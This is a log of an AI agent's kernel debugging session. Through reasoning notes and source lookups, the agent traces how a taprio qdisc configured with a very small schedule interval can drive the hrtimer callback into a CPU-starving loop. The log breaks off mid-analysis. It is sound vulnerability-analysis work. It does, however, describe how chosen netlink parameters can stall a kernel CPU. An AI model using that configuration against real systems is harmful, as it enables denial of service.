The question I need to be asking is, where is this going wrong? I need to focus on what happens during this QDisc creation. The code path that interests me most here is `taprio_change` and `taprio_init`, and I have to ask myself, is there a bug in either of those locations?
Is there a condition in either that causes an infinite loop in the qdisc creation code? My expert intuition points me in that direction. I should look to see if this `taprio` qdisc creation is potentially causing an unrecoverable state, leading to repeated calls to `taprio_change` or `taprio_init`, without a successful exit condition. Time to dig in!
|
| 17/2 |
2026/05/23 14:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:taprio_change]
Results: map[SourceCode:1817: static int taprio_change(struct Qdisc *sch, struct nlattr *opt,
1818: struct netlink_ext_ack *extack)
1819: {
1820: struct qdisc_size_table *stab = rtnl_dereference(sch->stab);
1821: struct nlattr *tb[TCA_TAPRIO_ATTR_MAX + 1] = { };
1822: struct sched_gate_list *oper, *admin, *new_admin;
1823: struct taprio_sched *q = qdisc_priv(sch);
1824: struct net_device *dev = qdisc_dev(sch);
1825: struct tc_mqprio_qopt *mqprio = NULL;
1826: unsigned long flags;
1827: u32 taprio_flags;
1828: ktime_t start;
1829: int i, err;
1830:
1831: err = nla_parse_nested_deprecated(tb, TCA_TAPRIO_ATTR_MAX, opt,
1832: taprio_policy, extack);
1833: if (err < 0)
1834: return err;
1835:
1836: if (tb[TCA_TAPRIO_ATTR_PRIOMAP])
1837: mqprio = nla_data(tb[TCA_TAPRIO_ATTR_PRIOMAP]);
1838:
1839: /* The semantics of the 'flags' argument in relation to 'change()'
1840: * requests, are interpreted following two rules (which are applied in
1841: * this order): (1) an omitted 'flags' argument is interpreted as
1842: * zero; (2) the 'flags' of a "running" taprio instance cannot be
1843: * changed.
1844: */
1845: taprio_flags = nla_get_u32_default(tb[TCA_TAPRIO_ATTR_FLAGS], 0);
1846:
1847: /* txtime-assist and full offload are mutually exclusive */
1848: if ((taprio_flags & TCA_TAPRIO_ATTR_FLAG_TXTIME_ASSIST) &&
1849: (taprio_flags & TCA_TAPRIO_ATTR_FLAG_FULL_OFFLOAD)) {
1850: NL_SET_ERR_MSG_ATTR(extack, tb[TCA_TAPRIO_ATTR_FLAGS],
1851: "TXTIME_ASSIST and FULL_OFFLOAD are mutually exclusive");
1852: return -EINVAL;
1853: }
1854:
1855: if (q->flags != TAPRIO_FLAGS_INVALID && q->flags != taprio_flags) {
1856: NL_SET_ERR_MSG_MOD(extack,
1857: "Changing 'flags' of a running schedule is not supported");
1858: return -EOPNOTSUPP;
1859: }
1860: q->flags = taprio_flags;
1861:
1862: /* Needed for length_to_duration() during netlink attribute parsing */
1863: taprio_set_picos_per_byte(dev, q, extack);
1864:
1865: err = taprio_parse_mqprio_opt(dev, mqprio, extack, q->flags);
1866: if (err < 0)
1867: return err;
1868:
1869: err = taprio_parse_tc_entries(sch, opt, extack);
1870: if (err)
1871: return err;
1872:
1873: new_admin = kzalloc(sizeof(*new_admin), GFP_KERNEL);
1874: if (!new_admin) {
1875: NL_SET_ERR_MSG(extack, "Not enough memory for a new schedule");
1876: return -ENOMEM;
1877: }
1878: INIT_LIST_HEAD(&new_admin->entries);
1879:
1880: oper = rtnl_dereference(q->oper_sched);
1881: admin = rtnl_dereference(q->admin_sched);
1882:
1883: /* no changes - no new mqprio settings */
1884: if (!taprio_mqprio_cmp(dev, mqprio))
1885: mqprio = NULL;
1886:
1887: if (mqprio && (oper || admin)) {
1888: NL_SET_ERR_MSG(extack, "Changing the traffic mapping of a running schedule is not supported");
1889: err = -ENOTSUPP;
1890: goto free_sched;
1891: }
1892:
1893: if (mqprio) {
1894: err = netdev_set_num_tc(dev, mqprio->num_tc);
1895: if (err)
1896: goto free_sched;
1897: for (i = 0; i < mqprio->num_tc; i++) {
1898: netdev_set_tc_queue(dev, i,
1899: mqprio->count[i],
1900: mqprio->offset[i]);
1901: q->cur_txq[i] = mqprio->offset[i];
1902: }
1903:
1904: /* Always use supplied priority mappings */
1905: for (i = 0; i <= TC_BITMASK; i++)
1906: netdev_set_prio_tc_map(dev, i,
1907: mqprio->prio_tc_map[i]);
1908: }
1909:
1910: err = parse_taprio_schedule(q, tb, new_admin, extack);
1911: if (err < 0)
1912: goto free_sched;
1913:
1914: if (new_admin->num_entries == 0) {
1915: NL_SET_ERR_MSG(extack, "There should be at least one entry in the schedule");
1916: err = -EINVAL;
1917: goto free_sched;
1918: }
1919:
1920: err = taprio_parse_clockid(sch, tb, extack);
1921: if (err < 0)
1922: goto free_sched;
1923:
1924: taprio_update_queue_max_sdu(q, new_admin, stab);
1925:
1926: if (FULL_OFFLOAD_IS_ENABLED(q->flags))
1927: err = taprio_enable_offload(dev, q, new_admin, extack);
1928: else
1929: err = taprio_disable_offload(dev, q, extack);
1930: if (err)
1931: goto free_sched;
1932:
1933: /* Protects against enqueue()/dequeue() */
1934: spin_lock_bh(qdisc_lock(sch));
1935:
1936: if (tb[TCA_TAPRIO_ATTR_TXTIME_DELAY]) {
1937: if (!TXTIME_ASSIST_IS_ENABLED(q->flags)) {
1938: NL_SET_ERR_MSG_MOD(extack, "txtime-delay can only be set when txtime-assist mode is enabled");
1939: err = -EINVAL;
1940: goto unlock;
1941: }
1942:
1943: q->txtime_delay = nla_get_u32(tb[TCA_TAPRIO_ATTR_TXTIME_DELAY]);
1944: }
1945:
1946: if (!TXTIME_ASSIST_IS_ENABLED(q->flags) &&
1947: !FULL_OFFLOAD_IS_ENABLED(q->flags) &&
1948: !hrtimer_active(&q->advance_timer)) {
1949: hrtimer_setup(&q->advance_timer, advance_sched, q->clockid, HRTIMER_MODE_ABS);
1950: }
1951:
1952: err = taprio_get_start_time(sch, new_admin, &start);
1953: if (err < 0) {
1954: NL_SET_ERR_MSG(extack, "Internal error: failed get start time");
1955: goto unlock;
1956: }
1957:
1958: setup_txtime(q, new_admin, start);
1959:
1960: if (TXTIME_ASSIST_IS_ENABLED(q->flags)) {
1961: if (!oper) {
1962: rcu_assign_pointer(q->oper_sched, new_admin);
1963: err = 0;
1964: new_admin = NULL;
1965: goto unlock;
1966: }
1967:
1968: /* Not going to race against advance_sched(), but still */
1969: admin = rcu_replace_pointer(q->admin_sched, new_admin,
1970: lockdep_rtnl_is_held());
1971: if (admin)
1972: call_rcu(&admin->rcu, taprio_free_sched_cb);
1973: } else {
1974: setup_first_end_time(q, new_admin, start);
1975:
1976: /* Protects against advance_sched() */
1977: spin_lock_irqsave(&q->current_entry_lock, flags);
1978:
1979: taprio_start_sched(sch, start, new_admin);
1980:
1981: admin = rcu_replace_pointer(q->admin_sched, new_admin,
1982: lockdep_rtnl_is_held());
1983: if (admin)
1984: call_rcu(&admin->rcu, taprio_free_sched_cb);
1985:
1986: spin_unlock_irqrestore(&q->current_entry_lock, flags);
1987:
1988: if (FULL_OFFLOAD_IS_ENABLED(q->flags))
1989: taprio_offload_config_changed(q);
1990: }
1991:
1992: new_admin = NULL;
1993: err = 0;
1994:
1995: if (!stab)
1996: NL_SET_ERR_MSG_MOD(extack,
1997: "Size table not specified, frame length estimations may be inaccurate");
1998:
1999: unlock:
2000: spin_unlock_bh(qdisc_lock(sch));
2001:
2002: free_sched:
2003: if (new_admin)
2004: call_rcu(&new_admin->rcu, taprio_free_sched_cb);
2005:
2006: return err;
2007: }
SourceFile:net/sched/sch_taprio.c]
|
| 18/2 |
2026/05/23 14:45 |
llm |
expert |
0m
Model:
Tokens:
input: 39985
output: 42
thoughts: 148
Thoughts: **Analyzing a Potential RCU Stall in taprio**
Okay, so the reproducer sets up taprio, specifically using `TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST` with just a single entry. Interesting. That entry has a `TCA_TAPRIO_SCHED_ENTRY_INTERVAL` of 1024 nanoseconds β that's tiny! And the `TCA_TAPRIO_ATTR_SCHED_CLOCKID` is set to 7, which means we're dealing with `CLOCK_BOOTTIME_ALARM`.
The real question, though, is how this all interacts with `advance_sched`. Ah, right, `advance_sched` is a hrtimer callback. Now the pieces are starting to fit. With such a short interval, `advance_sched` could be getting called constantly. If that's the case, and the overhead is high, that would potentially create a continuous loop of execution for this callback function, and could well trigger an RCU stall. We need to check the code within `advance_sched` to confirm this suspicion. Letβs dig into it.
|
| 19/2 |
2026/05/23 14:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:advance_sched]
Results: map[SourceCode: 918: static enum hrtimer_restart advance_sched(struct hrtimer *timer)
919: {
920: struct taprio_sched *q = container_of(timer, struct taprio_sched,
921: advance_timer);
922: struct net_device *dev = qdisc_dev(q->root);
923: struct sched_gate_list *oper, *admin;
924: int num_tc = netdev_get_num_tc(dev);
925: struct sched_entry *entry, *next;
926: struct Qdisc *sch = q->root;
927: ktime_t end_time;
928: int tc;
929:
930: spin_lock(&q->current_entry_lock);
931: entry = rcu_dereference_protected(q->current_entry,
932: lockdep_is_held(&q->current_entry_lock));
933: oper = rcu_dereference_protected(q->oper_sched,
934: lockdep_is_held(&q->current_entry_lock));
935: admin = rcu_dereference_protected(q->admin_sched,
936: lockdep_is_held(&q->current_entry_lock));
937:
938: if (!oper)
939: switch_schedules(q, &admin, &oper);
940:
941: /* This can happen in two cases: 1. this is the very first run
942: * of this function (i.e. we weren't running any schedule
943: * previously); 2. The previous schedule just ended. The first
944: * entry of all schedules are pre-calculated during the
945: * schedule initialization.
946: */
947: if (unlikely(!entry || entry->end_time == oper->base_time)) {
948: next = list_first_entry(&oper->entries, struct sched_entry,
949: list);
950: end_time = next->end_time;
951: goto first_run;
952: }
953:
954: if (should_restart_cycle(oper, entry)) {
955: next = list_first_entry(&oper->entries, struct sched_entry,
956: list);
957: oper->cycle_end_time = ktime_add_ns(oper->cycle_end_time,
958: oper->cycle_time);
959: } else {
960: next = list_next_entry(entry, list);
961: }
962:
963: end_time = ktime_add_ns(entry->end_time, next->interval);
964: end_time = min_t(ktime_t, end_time, oper->cycle_end_time);
965:
966: for (tc = 0; tc < num_tc; tc++) {
967: if (next->gate_duration[tc] == oper->cycle_time)
968: next->gate_close_time[tc] = KTIME_MAX;
969: else
970: next->gate_close_time[tc] = ktime_add_ns(entry->end_time,
971: next->gate_duration[tc]);
972: }
973:
974: if (should_change_schedules(admin, oper, end_time)) {
975: /* Set things so the next time this runs, the new
976: * schedule runs.
977: */
978: end_time = sched_base_time(admin);
979: switch_schedules(q, &admin, &oper);
980: }
981:
982: next->end_time = end_time;
983: taprio_set_budgets(q, oper, next);
984:
985: first_run:
986: rcu_assign_pointer(q->current_entry, next);
987: spin_unlock(&q->current_entry_lock);
988:
989: hrtimer_set_expires(&q->advance_timer, end_time);
990:
991: rcu_read_lock();
992: __netif_schedule(sch);
993: rcu_read_unlock();
994:
995: return HRTIMER_RESTART;
996: }
SourceFile:net/sched/sch_taprio.c]
|
| 20/2 |
2026/05/23 14:45 |
llm |
expert |
0m
Model:
Tokens:
input: 41732
output: 45
thoughts: 290
Thoughts: **Analyzing a Potential High-CPU Loop in the High-Resolution Timer Framework**
Okay, so `advance_sched` returns `HRTIMER_RESTART`. My initial thought is, if that `next->interval` value is incredibly smallβlike, say, 1024 nanosecondsβ`advance_sched` will be called again almost immediately. Hang on a second, if the `end_time` is actually *in the past*, then `hrtimer_restart` is just going to call the callback again right away, right? Hmm, I don't see `hrtimer_forward_now` being used here, which is interesting. If `end_time` is in the past, `hrtimer_set_expires` is simply going to set the timer's expiration to that past `end_time`.
Then, *that's* when `hrtimer_restart` is triggered which causes the hrtimer softirq to potentially loop indefinitely, or at the very least, repeatedly call the callback, potentially starving the CPU. I need to figure out if that `next->interval` variable *can* even be zero. In the reproducer, `TCA_TAPRIO_SCHED_ENTRY_INTERVAL` is set to 0x400, which I think is 1024. Wait, 1024 nanoseconds is actually just one microsecond. So, a timer that fires every microsecond is going to eat up a ton of CPU, but... if `end_time` is in the past, the hrtimer framework is going to call the callback repeatedly in a loop! Okay, I need to check how `__hrtimer_run_queues` is implemented in `kernel/time/hrtimer.c` to see how it manages this scenario.
|
| 21/2 |
2026/05/23 14:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/time/hrtimer.c IncludeLines:true Name:__hrtimer_run_queues]
Results: map[SourceCode:1809: static void __hrtimer_run_queues(struct hrtimer_cpu_base *cpu_base, ktime_t now,
1810: unsigned long flags, unsigned int active_mask)
1811: {
1812: struct hrtimer_clock_base *base;
1813: unsigned int active = cpu_base->active_bases & active_mask;
1814:
1815: for_each_active_base(base, cpu_base, active) {
1816: struct timerqueue_node *node;
1817: ktime_t basenow;
1818:
1819: basenow = ktime_add(now, base->offset);
1820:
1821: while ((node = timerqueue_getnext(&base->active))) {
1822: struct hrtimer *timer;
1823:
1824: timer = container_of(node, struct hrtimer, node);
1825:
1826: /*
1827: * The immediate goal for using the softexpires is
1828: * minimizing wakeups, not running timers at the
1829: * earliest interrupt after their soft expiration.
1830: * This allows us to avoid using a Priority Search
1831: * Tree, which can answer a stabbing query for
1832: * overlapping intervals and instead use the simple
1833: * BST we already have.
1834: * We don't add extra wakeups by delaying timers that
1835: * are right-of a not yet expired timer, because that
1836: * timer will have to trigger a wakeup anyway.
1837: */
1838: if (basenow < hrtimer_get_softexpires_tv64(timer))
1839: break;
1840:
1841: __run_hrtimer(cpu_base, base, timer, &basenow, flags);
1842: if (active_mask == HRTIMER_ACTIVE_SOFT)
1843: hrtimer_sync_wait_running(cpu_base, flags);
1844: }
1845: }
1846: }
SourceFile:kernel/time/hrtimer.c]
|
| 22/2 |
2026/05/23 14:46 |
llm |
expert |
0m
Model:
Tokens:
input: 43076
output: 42
thoughts: 98
Thoughts: **High-Resolution Timer Loop Conundrum**
Okay, so I'm tracing this `__run_hrtimer` function, and it seems like it's crucial for understanding how the high-resolution timers behave. Right, the callback gets called by `__run_hrtimer`. And if the callback returns `HRTIMER_RESTART`, the timer gets re-enqueued. Now, here's where it gets interesting... if the new expiration time I've set is *still* in the past compared to the current time, represented as `basenow`, then that `while` loop within the scheduler is just going to pick it up *again* immediately.
Hold on... I need to make sure I understand this. Am I right? Yes. `basenow` isn't updated *inside* the loop. It's only updated on the next entry to the loop. So if my re-enqueue puts me in the past, I get stuck! This could be very bad for performance. Time to dig into `__run_hrtimer` and verify how this crucial routine actually works!
|
| 23/2 |
2026/05/23 14:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/time/hrtimer.c IncludeLines:true Name:__run_hrtimer]
Results: map[SourceCode:1734: static void __run_hrtimer(struct hrtimer_cpu_base *cpu_base,
1735: struct hrtimer_clock_base *base,
1736: struct hrtimer *timer, ktime_t *now,
1737: unsigned long flags) __must_hold(&cpu_base->lock)
1738: {
1739: enum hrtimer_restart (*fn)(struct hrtimer *);
1740: bool expires_in_hardirq;
1741: int restart;
1742:
1743: lockdep_assert_held(&cpu_base->lock);
1744:
1745: debug_deactivate(timer);
1746: base->running = timer;
1747:
1748: /*
1749: * Separate the ->running assignment from the ->state assignment.
1750: *
1751: * As with a regular write barrier, this ensures the read side in
1752: * hrtimer_active() cannot observe base->running == NULL &&
1753: * timer->state == INACTIVE.
1754: */
1755: raw_write_seqcount_barrier(&base->seq);
1756:
1757: __remove_hrtimer(timer, base, HRTIMER_STATE_INACTIVE, 0);
1758: fn = ACCESS_PRIVATE(timer, function);
1759:
1760: /*
1761: * Clear the 'is relative' flag for the TIME_LOW_RES case. If the
1762: * timer is restarted with a period then it becomes an absolute
1763: * timer. If its not restarted it does not matter.
1764: */
1765: if (IS_ENABLED(CONFIG_TIME_LOW_RES))
1766: timer->is_rel = false;
1767:
1768: /*
1769: * The timer is marked as running in the CPU base, so it is
1770: * protected against migration to a different CPU even if the lock
1771: * is dropped.
1772: */
1773: raw_spin_unlock_irqrestore(&cpu_base->lock, flags);
1774: trace_hrtimer_expire_entry(timer, now);
1775: expires_in_hardirq = lockdep_hrtimer_enter(timer);
1776:
1777: restart = fn(timer);
1778:
1779: lockdep_hrtimer_exit(expires_in_hardirq);
1780: trace_hrtimer_expire_exit(timer);
1781: raw_spin_lock_irq(&cpu_base->lock);
1782:
1783: /*
1784: * Note: We clear the running state after enqueue_hrtimer and
1785: * we do not reprogram the event hardware. Happens either in
1786: * hrtimer_start_range_ns() or in hrtimer_interrupt()
1787: *
1788: * Note: Because we dropped the cpu_base->lock above,
1789: * hrtimer_start_range_ns() can have popped in and enqueued the timer
1790: * for us already.
1791: */
1792: if (restart != HRTIMER_NORESTART &&
1793: !(timer->state & HRTIMER_STATE_ENQUEUED))
1794: enqueue_hrtimer(timer, base, HRTIMER_MODE_ABS);
1795:
1796: /*
1797: * Separate the ->running assignment from the ->state assignment.
1798: *
1799: * As with a regular write barrier, this ensures the read side in
1800: * hrtimer_active() cannot observe base->running.timer == NULL &&
1801: * timer->state == INACTIVE.
1802: */
1803: raw_write_seqcount_barrier(&base->seq);
1804:
1805: WARN_ON_ONCE(base->running != timer);
1806: base->running = NULL;
1807: }
SourceFile:kernel/time/hrtimer.c]
|
| 24/2 |
2026/05/23 14:46 |
llm |
expert |
0m
Model:
Tokens:
input: 44622
output: 47
thoughts: 304
Thoughts: **Analyzing the HRTimer Re-Enqueue Loop**
Okay, so I'm tracing this `hrtimer` re-enqueue logic. If `fn` spits back `HRTIMER_RESTART`, the timer gets put back into the queue. That's fine, expected behavior. Then `__run_hrtimer` hands it back to `__hrtimer_run_queues`. This is where it gets interesting... `__hrtimer_run_queues` then calls `timerqueue_getnext`. Here's the kicker: if this newly re-enqueued timer has an *earlier* expiration time than the current `basenow`, it's going to get picked up *immediately* again!
Hold on, something's not right. `basenow` isn't updated within this immediate loop. So if I re-enqueue the timer with an expiration that's still in the past, it just... runs again. And again. Potentially forever!
Okay, let's step back and look at `advance_sched`. It's doing something like this: `end_time = ktime_add_ns(entry->end_time, next->interval);` and then `hrtimer_set_expires(&q->advance_timer, end_time);`. If `next->interval` is tiny, which it very well might be, `end_time` only creeps forward by a minuscule amount each time. If `end_time` starts way back in the past, this looks like it could take an *enormous* number of iterations to finally catch up to `basenow`.
Wait, where is `end_time` actually initialized? Ah, it's in `taprio_change`, which calls `taprio_get_start_time`, which in turn calculates `start`. So if `start` is set to something in the distant past, that `advance_sched` loop will keep grinding until `end_time` finally edges its way up to be `>= basenow`. This is going to be incredibly inefficient.
Alright, I need to go back and investigate precisely how `taprio_get_start_time` is behaving. I need to understand what's determining `start` in this whole thing.
|
| 25/2 |
2026/05/23 14:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:taprio_get_start_time]
Results: map[SourceCode:1206: static int taprio_get_start_time(struct Qdisc *sch,
1207: struct sched_gate_list *sched,
1208: ktime_t *start)
1209: {
1210: struct taprio_sched *q = qdisc_priv(sch);
1211: ktime_t now, base, cycle;
1212: s64 n;
1213:
1214: base = sched_base_time(sched);
1215: now = taprio_get_time(q);
1216:
1217: if (ktime_after(base, now)) {
1218: *start = base;
1219: return 0;
1220: }
1221:
1222: cycle = sched->cycle_time;
1223:
1224: /* The qdisc is expected to have at least one sched_entry. Moreover,
1225: * any entry must have 'interval' > 0. Thus if the cycle time is zero,
1226: * something went really wrong. In that case, we should warn about this
1227: * inconsistent state and return error.
1228: */
1229: if (WARN_ON(!cycle))
1230: return -EFAULT;
1231:
1232: /* Schedule the start time for the beginning of the next
1233: * cycle.
1234: */
1235: n = div64_s64(ktime_sub_ns(now, base), cycle);
1236: *start = ktime_add_ns(base, (n + 1) * cycle);
1237: return 0;
1238: }
SourceFile:net/sched/sch_taprio.c]
|
| 26/2 |
2026/05/23 14:46 |
llm |
expert |
0m
Model:
Tokens:
input: 45967
output: 45
thoughts: 263
Thoughts: **Analyzing the Time Calculation**
Okay, so `taprio_get_start_time` is setting `start` to `base + (n + 1) * cycle`. Right, so this `start` time is definitely in the future because `(n + 1) * cycle` is *always* greater than zero. That makes sense, we're scheduling something for *later*. Which means `advance_sched` will get called when `now` catches up to or surpasses `start`.
Now here's where it gets interesting. When `advance_sched` runs, `now` could be slightly ahead of `start`. And it's going to add `next->interval` to `end_time`. If that `next->interval` is tiny, even a few nanoseconds, `end_time` might still be *before* the current `now`.
Hold on, the `next->interval` *is* the scheduling interval of this entry. So, if that interval is, say, 1024 nanoseconds and the timer fires, it will increment by 1024 ns each time. The big concern is what happens if the CPU is slow or interrupts are disabled. If that happens, then `now` can get significantly larger than `start`, like a millisecond later! That would mean it would take a ridiculous 1000 iterations for the process to catch up to the current time.
And what happens if `next->interval` is *zero*? That's a potential problem right there... We need to check if that's even possible. Let's see if that can happen.
|
| 27/2 |
2026/05/23 14:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:parse_taprio_schedule]
Results: map[SourceCode:1127: static int parse_taprio_schedule(struct taprio_sched *q, struct nlattr **tb,
1128: struct sched_gate_list *new,
1129: struct netlink_ext_ack *extack)
1130: {
1131: int err = 0;
1132:
1133: if (tb[TCA_TAPRIO_ATTR_SCHED_SINGLE_ENTRY]) {
1134: NL_SET_ERR_MSG(extack, "Adding a single entry is not supported");
1135: return -ENOTSUPP;
1136: }
1137:
1138: if (tb[TCA_TAPRIO_ATTR_SCHED_BASE_TIME])
1139: new->base_time = nla_get_s64(tb[TCA_TAPRIO_ATTR_SCHED_BASE_TIME]);
1140:
1141: if (tb[TCA_TAPRIO_ATTR_SCHED_CYCLE_TIME_EXTENSION])
1142: new->cycle_time_extension = nla_get_s64(tb[TCA_TAPRIO_ATTR_SCHED_CYCLE_TIME_EXTENSION]);
1143:
1144: if (tb[TCA_TAPRIO_ATTR_SCHED_CYCLE_TIME])
1145: new->cycle_time = nla_get_s64(tb[TCA_TAPRIO_ATTR_SCHED_CYCLE_TIME]);
1146:
1147: if (tb[TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST])
1148: err = parse_sched_list(q, tb[TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST],
1149: new, extack);
1150: if (err < 0)
1151: return err;
1152:
1153: if (!new->cycle_time) {
1154: struct sched_entry *entry;
1155: ktime_t cycle = 0;
1156:
1157: list_for_each_entry(entry, &new->entries, list)
1158: cycle = ktime_add_ns(cycle, entry->interval);
1159:
1160: if (cycle < 0 || cycle > INT_MAX) {
1161: NL_SET_ERR_MSG(extack, "'cycle_time' is too big");
1162: return -EINVAL;
1163: }
1164:
1165: new->cycle_time = cycle;
1166: }
1167:
1168: if (new->cycle_time < new->num_entries * length_to_duration(q, ETH_ZLEN)) {
1169: NL_SET_ERR_MSG(extack, "'cycle_time' is too small");
1170: return -EINVAL;
1171: }
1172:
1173: taprio_calculate_gate_durations(q, new);
1174:
1175: return 0;
1176: }
SourceFile:net/sched/sch_taprio.c]
|
| 28/2 |
2026/05/23 14:46 |
llm |
expert |
0m
Model:
Tokens:
input: 47504
output: 44
thoughts: 43
Thoughts: Okay, let me break this down.
**Analyzing the Cycle Time Comparison**
Right, so the code's checking `new->cycle_time` against something derived from `new->num_entries` and a function called `length_to_duration`. The implication here is that the comparison is to determine if something related to a new cycle time is less than some calculated value based on the number of entries and the length-to-duration conversion. It's the check that's important: `new->cycle_time < new->num_entries * length_to_duration(q, ETH_ZLEN)`. Makes sense. I need to understand what `length_to_duration` actually *does*. That's the key to understanding the intent of this check. Time to dig into that function's logic. I have to see what parameters it uses and the values involved.
|
| 29/2 |
2026/05/23 14:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:length_to_duration]
Results: map[SourceCode: 257: static int length_to_duration(struct taprio_sched *q, int len)
258: {
259: return div_u64(len * atomic64_read(&q->picos_per_byte), PSEC_PER_NSEC);
260: }
SourceFile:net/sched/sch_taprio.c]
|
| 30/2 |
2026/05/23 14:46 |
llm |
expert |
0m
Model:
Tokens:
input: 47891
output: 50
thoughts: 60
Thoughts: **Analyzing the Potential Zero-Duration Return**
Okay, so I'm looking at this `length_to_duration` function, and it seems like if `q->picos_per_byte` is zero, then the function itself returns zero. That's immediately a potential issue I need to understand. A duration of zero is always a possible edge-case.
The crucial question is, under what circumstances *does* `q->picos_per_byte` become zero? I need to trace back through the code to find out how this variable is set. My gut feeling tells me the problem exists in the `taprio_set_picos_per_byte` function or a function called by it. I need to examine the initialization and assignment logic of this variable very carefully to avoid zero-division or the problems that could arise if it is unintentionally zero.
|
| 31/2 |
2026/05/23 14:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:taprio_set_picos_per_byte]
Results: map[SourceCode:1292: static void taprio_set_picos_per_byte(struct net_device *dev,
1293: struct taprio_sched *q,
1294: struct netlink_ext_ack *extack)
1295: {
1296: struct ethtool_link_ksettings ecmd;
1297: int speed = SPEED_10;
1298: int picos_per_byte;
1299: int err;
1300:
1301: err = __ethtool_get_link_ksettings(dev, &ecmd);
1302: if (err < 0)
1303: goto skip;
1304:
1305: if (ecmd.base.speed && ecmd.base.speed != SPEED_UNKNOWN)
1306: speed = ecmd.base.speed;
1307:
1308: skip:
1309: picos_per_byte = (USEC_PER_SEC * 8) / speed;
1310: if (picos_per_byte < TAPRIO_PICOS_PER_BYTE_MIN) {
1311: if (!extack)
1312: pr_warn("Link speed %d is too high. Schedule may be inaccurate.\n",
1313: speed);
1314: NL_SET_ERR_MSG_FMT_MOD(extack,
1315: "Link speed %d is too high. Schedule may be inaccurate.",
1316: speed);
1317: picos_per_byte = TAPRIO_PICOS_PER_BYTE_MIN;
1318: }
1319:
1320: atomic64_set(&q->picos_per_byte, picos_per_byte);
1321: netdev_dbg(dev, "taprio: set %s's picos_per_byte to: %lld, linkspeed: %d\n",
1322: dev->name, (long long)atomic64_read(&q->picos_per_byte),
1323: ecmd.base.speed);
1324: }
SourceFile:net/sched/sch_taprio.c]
|
| 32/2 |
2026/05/23 14:46 |
llm |
expert |
0m
Model:
Tokens:
input: 48796
output: 25
thoughts: 43
Thoughts: Okay, here's my interpretation of those thoughts, tailored for an expert audience, presented in the first person:
**Investigating `picos_per_byte`**
Right, let me see... I'm looking at `picos_per_byte` here. Something about it feels off, specifically that it's being compared to `TAPRIO_PICOS_PER_BYTE_MIN`. The immediate question that leaps to mind is: what *is* `TAPRIO_PICOS_PER_BYTE_MIN`? I need to understand that constant to grasp the context of this comparison. Is it an absolute lower bound? A recommended minimum? A guardrail against some specific edge case? The significance of this particular check is completely opaque without knowing the value and the purpose of `TAPRIO_PICOS_PER_BYTE_MIN`. I can't really move forward until I understand the baseline. I need that definition and its justification.
|
| 33/2 |
2026/05/23 14:46 |
tool |
grepper |
0m
Args: map[Expression:TAPRIO_PICOS_PER_BYTE_MIN]
Results: map[Output:net/sched/sch_taprio.c=37=static struct static_key_false taprio_have_working_mqprio;
--
net/sched/sch_taprio.c-49- */
net/sched/sch_taprio.c:50:#define TAPRIO_PICOS_PER_BYTE_MIN 17
net/sched/sch_taprio.c-51-
--
net/sched/sch_taprio.c=1292=static void taprio_set_picos_per_byte(struct net_device *dev,
--
net/sched/sch_taprio.c-1309- picos_per_byte = (USEC_PER_SEC * 8) / speed;
net/sched/sch_taprio.c:1310: if (picos_per_byte < TAPRIO_PICOS_PER_BYTE_MIN) {
net/sched/sch_taprio.c-1311- if (!extack)
--
net/sched/sch_taprio.c-1316- speed);
net/sched/sch_taprio.c:1317: picos_per_byte = TAPRIO_PICOS_PER_BYTE_MIN;
net/sched/sch_taprio.c-1318- }
]
|
| 34/2 |
2026/05/23 14:46 |
llm |
expert |
0m
Model:
Tokens:
input: 49393
output: 44
thoughts: 898
Thoughts: **Analyzing a Potential Timer Infinite Loop**
Okay, so I'm looking at this timer implementation, and things are starting to look a little concerning. Let's break this down. First, I see that `picos_per_byte` is at least 17, and `ETH_ZLEN` is 60. Calculating, `length_to_duration` works out to at least 1 nanosecond. This is important.
Now, if we only have one entry, the `cycle_time` *must* be at least 1 ns. In the reproducer, `TCA_TAPRIO_SCHED_ENTRY_INTERVAL` is set to 1024, which means `cycle_time` is 1024 ns. That's a microsecond, right?
Here's where it gets interesting. `advance_sched` advances the timer by `cycle_time`. So, if the timer fires, itβs advanced by 1024 ns. If the CPU takes longer than a microsecond to handle the timer interrupt, we're in trouble β the timer will be stuck in the past! A microsecond in an interrupt handler is very common, so this is a potential issue.
If the timer is set to fire every microsecond, the interrupt handler will be constantly invoked, starving the CPU. This screams "infinite loop" or CPU stall, a classic hrtimer problem.
The real kicker is, is there any limit on `cycle_time` or the `interval`? Looking at `parse_taprio_schedule`, there's a check that the new `cycle_time` is less than `num_entries * length_to_duration`. If `length_to_duration` is only 1 ns, the minimum `cycle_time` can be 1 ns! A user could set this very low interval!
If a user *does* set a 1 ns interval, `advance_sched` will increment the timer by 1 ns. That sounds like a disaster in `__hrtimer_run_queues` because `end_time` will take *forever* to catch up to `now`, likely causing an infinite loop.
Let's double-check `__hrtimer_run_queues`. If `advance_sched` returns `HRTIMER_RESTART`, the timer gets re-enqueued. Then, it checks `if (basenow < hrtimer_get_softexpires_tv64(timer)) break;`. Crucially, if `end_time` is still less than `basenow`, it loops and runs `advance_sched` again! The problem is that `basenow` isn't updated inside the loop!
If `basenow` is not updated, and `end_time` is incremented by 1 ns each time, the loop will run `(basenow - start) / 1ns` times! The initial `start` was set to the time of `taprio_change`. Now, `basenow` represents the time the interrupt *started*. The difference might be small but constant.
So, if `basenow` isn't updated, the loop continues until `end_time` is greater than or equal to `basenow`. If `interval` is just 1 ns, and the difference between `basenow` and `start` is, say, 1000 ns, the loop will run 1000 times!
But hold on⦠`advance_sched` actually does this:
`end_time = ktime_add_ns(entry->end_time, next->interval);`
`next->end_time = end_time;`
